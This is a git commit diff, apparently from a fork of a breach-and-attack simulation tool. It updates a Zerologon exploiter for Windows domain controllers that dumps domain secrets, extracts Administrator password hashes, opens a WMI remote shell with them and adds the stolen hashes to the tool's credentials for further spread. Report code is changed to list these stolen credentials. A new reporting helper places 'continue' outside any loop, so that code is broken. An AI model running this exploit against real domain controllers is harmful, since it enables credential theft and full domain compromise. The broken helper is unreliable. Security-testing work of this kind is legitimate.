forked from p15670423/monkey
Final exploit touches and report stuff
This commit is contained in:
parent
b57605b58d
commit
c05a48d34d
|
@ -34,6 +34,7 @@ from impacket.krb5.keytab import Keytab
|
||||||
from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21,
|
from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21,
|
||||||
SMB_DIALECT, SMBConnection)
|
SMB_DIALECT, SMBConnection)
|
||||||
|
|
||||||
|
from common.utils.exploit_enum import ExploitType
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
||||||
|
|
||||||
|
@ -45,8 +46,8 @@ _new_stdout = None
|
||||||
|
|
||||||
|
|
||||||
def _set_stdout_to_in_memory_text_stream():
|
def _set_stdout_to_in_memory_text_stream():
|
||||||
global _orig_stdout, _new_stdout
|
|
||||||
# set stdout to in-memory text stream, to capture info that would otherwise be printed
|
# set stdout to in-memory text stream, to capture info that would otherwise be printed
|
||||||
|
global _orig_stdout, _new_stdout
|
||||||
_orig_stdout = sys.stdout
|
_orig_stdout = sys.stdout
|
||||||
_new_stdout = io.StringIO()
|
_new_stdout = io.StringIO()
|
||||||
sys.stdout = _new_stdout
|
sys.stdout = _new_stdout
|
||||||
|
@ -63,6 +64,7 @@ def _unset_stdout_and_return_captured():
|
||||||
class ZerologonExploiter(HostExploiter):
|
class ZerologonExploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
_EXPLOITED_SERVICE = 'Netlogon'
|
_EXPLOITED_SERVICE = 'Netlogon'
|
||||||
|
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||||
MAX_ATTEMPTS = 2000
|
MAX_ATTEMPTS = 2000
|
||||||
OPTIONS_FOR_SECRETSDUMP =\
|
OPTIONS_FOR_SECRETSDUMP =\
|
||||||
{
|
{
|
||||||
|
@ -100,6 +102,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
super().__init__(host)
|
super().__init__(host)
|
||||||
self.vulnerable_port = None
|
self.vulnerable_port = None
|
||||||
self.zerologon_finger = ZerologonFinger()
|
self.zerologon_finger = ZerologonFinger()
|
||||||
|
self.exploit_info['credentials'] = {}
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host)
|
DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host)
|
||||||
|
@ -128,15 +131,18 @@ class ZerologonExploiter(HostExploiter):
|
||||||
if result is not None:
|
if result is not None:
|
||||||
break
|
break
|
||||||
|
|
||||||
|
self.report_login_attempt(result=False,
|
||||||
|
user=DC_NAME)
|
||||||
|
|
||||||
if result['ErrorCode'] == 0:
|
if result['ErrorCode'] == 0:
|
||||||
|
self.report_login_attempt(result=True,
|
||||||
|
user=DC_NAME)
|
||||||
LOG.info("Exploit complete!")
|
LOG.info("Exploit complete!")
|
||||||
else:
|
else:
|
||||||
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
|
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
|
||||||
|
|
||||||
_exploited = True
|
_exploited = True
|
||||||
|
|
||||||
## how do i execute monkey on the exploited machine?
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||||
_exploited = False
|
_exploited = False
|
||||||
|
@ -216,11 +222,23 @@ class ZerologonExploiter(HostExploiter):
|
||||||
dumped_secrets = self.get_dumped_secrets(options=options,
|
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||||
remote_name=DC_IP,
|
remote_name=DC_IP,
|
||||||
username=f"{DC_NAME}$")
|
username=f"{DC_NAME}$")
|
||||||
|
user = 'Administrator'
|
||||||
for secret in dumped_secrets:
|
for secret in dumped_secrets:
|
||||||
if 'Administrator' in secret:
|
if user in secret:
|
||||||
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
|
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
|
||||||
|
self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1])
|
||||||
return ':'.join(hashes) # format - "lmhash:nthash"
|
return ':'.join(hashes) # format - "lmhash:nthash"
|
||||||
|
|
||||||
|
def add_extracted_creds_to_exploit_info(self, user, lmhash, nthash):
|
||||||
|
self.exploit_info['credentials'].update({
|
||||||
|
user: {
|
||||||
|
'username': user,
|
||||||
|
'password': '',
|
||||||
|
'lm_hash': lmhash,
|
||||||
|
'ntlm_hash': nthash
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes):
|
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes):
|
||||||
if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes):
|
if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes):
|
||||||
return
|
return
|
||||||
|
@ -251,7 +269,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
hashes=admin_pwd_hashes,
|
hashes=admin_pwd_hashes,
|
||||||
domain=DC_IP)
|
domain=DC_IP)
|
||||||
|
|
||||||
remote_shell = wmiexec.run()
|
remote_shell = wmiexec.get_remote_shell()
|
||||||
if remote_shell:
|
if remote_shell:
|
||||||
_set_stdout_to_in_memory_text_stream()
|
_set_stdout_to_in_memory_text_stream()
|
||||||
|
|
||||||
|
@ -270,6 +288,9 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
info = _unset_stdout_and_return_captured()
|
info = _unset_stdout_and_return_captured()
|
||||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||||
|
|
||||||
|
wmiexec.close()
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
@ -566,37 +587,44 @@ class Wmiexec:
|
||||||
self.__share = share
|
self.__share = share
|
||||||
self.shell = None
|
self.shell = None
|
||||||
|
|
||||||
def run(self):
|
def connect(self):
|
||||||
smbConnection = SMBConnection(self.__ip, self.__ip)
|
self.smbConnection = SMBConnection(self.__ip, self.__ip)
|
||||||
smbConnection.login(user=self.__username,
|
self.smbConnection.login(user=self.__username,
|
||||||
password=self.__password,
|
password=self.__password,
|
||||||
domain=self.__domain,
|
domain=self.__domain,
|
||||||
lmhash=self.__lmhash,
|
lmhash=self.__lmhash,
|
||||||
nthash=self.__nthash)
|
nthash=self.__nthash)
|
||||||
|
|
||||||
dcom = DCOMConnection(target=self.__ip,
|
self.dcom = DCOMConnection(target=self.__ip,
|
||||||
username=self.__username,
|
username=self.__username,
|
||||||
password=self.__password,
|
password=self.__password,
|
||||||
domain=self.__domain,
|
domain=self.__domain,
|
||||||
lmhash=self.__lmhash,
|
lmhash=self.__lmhash,
|
||||||
nthash=self.__nthash,
|
nthash=self.__nthash,
|
||||||
oxidResolver=True)
|
oxidResolver=True)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||||
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||||
iWbemLevel1Login.RemRelease()
|
iWbemLevel1Login.RemRelease()
|
||||||
|
|
||||||
win32Process, _ = iWbemServices.GetObject('Win32_Process')
|
|
||||||
|
|
||||||
self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.OUTPUT_FILENAME)
|
|
||||||
return self.shell
|
|
||||||
|
|
||||||
except (Exception, KeyboardInterrupt) as e:
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
LOG.error(str(e))
|
LOG.error(str(e))
|
||||||
smbConnection.logoff()
|
self.smbConnection.logoff()
|
||||||
dcom.disconnect()
|
self.dcom.disconnect()
|
||||||
|
|
||||||
|
def get_remote_shell(self):
|
||||||
|
self.connect()
|
||||||
|
win32Process, _ = self.iWbemServices.GetObject('Win32_Process')
|
||||||
|
self.shell = RemoteShell(self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME)
|
||||||
|
return self.shell
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
self.smbConnection.close()
|
||||||
|
self.smbConnection = None
|
||||||
|
self.dcom.disconnect()
|
||||||
|
self.dcom = None
|
||||||
|
|
||||||
|
|
||||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||||
|
|
|
@ -180,32 +180,49 @@ class ReportService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_stolen_creds():
|
def get_stolen_creds():
|
||||||
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
|
||||||
creds = []
|
creds = []
|
||||||
|
|
||||||
|
# stolen creds from system info collectors
|
||||||
for telem in mongo.db.telemetry.find(
|
for telem in mongo.db.telemetry.find(
|
||||||
{'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
|
{'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
|
||||||
{'data.credentials': 1, 'monkey_guid': 1}
|
{'data.credentials': 1, 'monkey_guid': 1}
|
||||||
):
|
):
|
||||||
monkey_creds = telem['data']['credentials']
|
monkey_creds = telem['data']['credentials']
|
||||||
if len(monkey_creds) == 0:
|
creds.append(ReportService._format_creds_for_reporting(telem, monkey_creds))
|
||||||
continue
|
|
||||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
# stolen creds from exploiters
|
||||||
for user in monkey_creds:
|
for telem in mongo.db.telemetry.find(
|
||||||
for pass_type in PASS_TYPE_DICT:
|
{'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
|
||||||
if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]:
|
{'data.info.credentials': 1, 'monkey_guid': 1}
|
||||||
continue
|
):
|
||||||
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
|
monkey_creds = telem['data']['info']['credentials']
|
||||||
cred_row = \
|
creds.append(ReportService._format_creds_for_reporting(telem, monkey_creds))
|
||||||
{
|
|
||||||
'username': username,
|
|
||||||
'type': PASS_TYPE_DICT[pass_type],
|
|
||||||
'origin': origin
|
|
||||||
}
|
|
||||||
if cred_row not in creds:
|
|
||||||
creds.append(cred_row)
|
|
||||||
logger.info('Stolen creds generated for reporting')
|
logger.info('Stolen creds generated for reporting')
|
||||||
return creds
|
return creds
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _format_creds_for_reporting(telem, monkey_creds):
|
||||||
|
creds = []
|
||||||
|
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
||||||
|
if len(monkey_creds) == 0:
|
||||||
|
continue
|
||||||
|
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||||
|
for user in monkey_creds:
|
||||||
|
for pass_type in PASS_TYPE_DICT:
|
||||||
|
if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]:
|
||||||
|
continue
|
||||||
|
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
|
||||||
|
cred_row = \
|
||||||
|
{
|
||||||
|
'username': username,
|
||||||
|
'type': PASS_TYPE_DICT[pass_type],
|
||||||
|
'origin': origin
|
||||||
|
}
|
||||||
|
if cred_row not in creds:
|
||||||
|
creds.append(cred_row)
|
||||||
|
return creds
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_ssh_keys():
|
def get_ssh_keys():
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -4,6 +4,7 @@ import dateutil
|
||||||
|
|
||||||
from monkey_island.cc.encryptor import encryptor
|
from monkey_island.cc.encryptor import encryptor
|
||||||
from monkey_island.cc.models import Monkey
|
from monkey_island.cc.models import Monkey
|
||||||
|
from monkey_island.cc.services.config import ConfigService
|
||||||
from monkey_island.cc.services.edge.displayed_edge import EdgeService
|
from monkey_island.cc.services.edge.displayed_edge import EdgeService
|
||||||
from monkey_island.cc.services.node import NodeService
|
from monkey_island.cc.services.node import NodeService
|
||||||
from monkey_island.cc.services.telemetry.processing.utils import \
|
from monkey_island.cc.services.telemetry.processing.utils import \
|
||||||
|
@ -17,6 +18,7 @@ def process_exploit_telemetry(telemetry_json):
|
||||||
edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
||||||
update_network_with_exploit(edge, telemetry_json)
|
update_network_with_exploit(edge, telemetry_json)
|
||||||
update_node_credentials_from_successful_attempts(edge, telemetry_json)
|
update_node_credentials_from_successful_attempts(edge, telemetry_json)
|
||||||
|
add_exploit_extracted_creds_to_config(telemetry_json)
|
||||||
|
|
||||||
test_machine_exploited(
|
test_machine_exploited(
|
||||||
current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']),
|
current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']),
|
||||||
|
@ -26,6 +28,21 @@ def process_exploit_telemetry(telemetry_json):
|
||||||
timestamp=telemetry_json['timestamp'])
|
timestamp=telemetry_json['timestamp'])
|
||||||
|
|
||||||
|
|
||||||
|
def add_exploit_extracted_creds_to_config(telemetry_json):
|
||||||
|
if 'credentials' in telemetry_json['data']['info']:
|
||||||
|
creds = telemetry_json['data']['info']['credentials']
|
||||||
|
add_system_info_creds_to_config(creds)
|
||||||
|
|
||||||
|
for user in creds:
|
||||||
|
ConfigService.creds_add_username(creds[user]['username'])
|
||||||
|
if 'password' in creds[user] and creds[user]['password']:
|
||||||
|
ConfigService.creds_add_password(creds[user]['password'])
|
||||||
|
if 'lm_hash' in creds[user] and creds[user]['lm_hash']:
|
||||||
|
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
|
||||||
|
if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']:
|
||||||
|
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||||
|
|
||||||
|
|
||||||
def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json):
|
def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json):
|
||||||
for attempt in telemetry_json['data']['attempts']:
|
for attempt in telemetry_json['data']['attempts']:
|
||||||
if attempt['result']:
|
if attempt['result']:
|
||||||
|
|
Loading…
Reference in New Issue